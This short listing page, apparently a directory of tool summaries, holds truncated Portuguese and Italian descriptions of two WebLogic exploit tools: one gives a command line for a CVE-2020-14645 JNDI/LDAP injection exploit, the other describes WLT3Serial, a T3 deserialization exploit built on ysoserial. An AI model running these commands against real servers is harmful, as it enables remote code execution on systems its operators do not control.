CVE-2020-14645

CVE-2020-14645 Método de uso Primeiro, use NDI-Injection-Exploit para escutar e gerar um endereço ldap. java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Target e -RMI são obrigatórios, para https use o parâmetro --SSL, -Port por padrão é 7001. Para...

WLT3Serial

WLT3Serial Exploit di deserializzazione nativo basato su Java per i listener T3 e T3S di WebLogic come descritto QUI. Richiede le dipendenze di terze parti ysoserial e wlthint3client. Vantaggi/Svantaggi rispetto a JavaUnserializeExploits weblogic.py e loubia Vantaggi: Gestisce la comunicazione...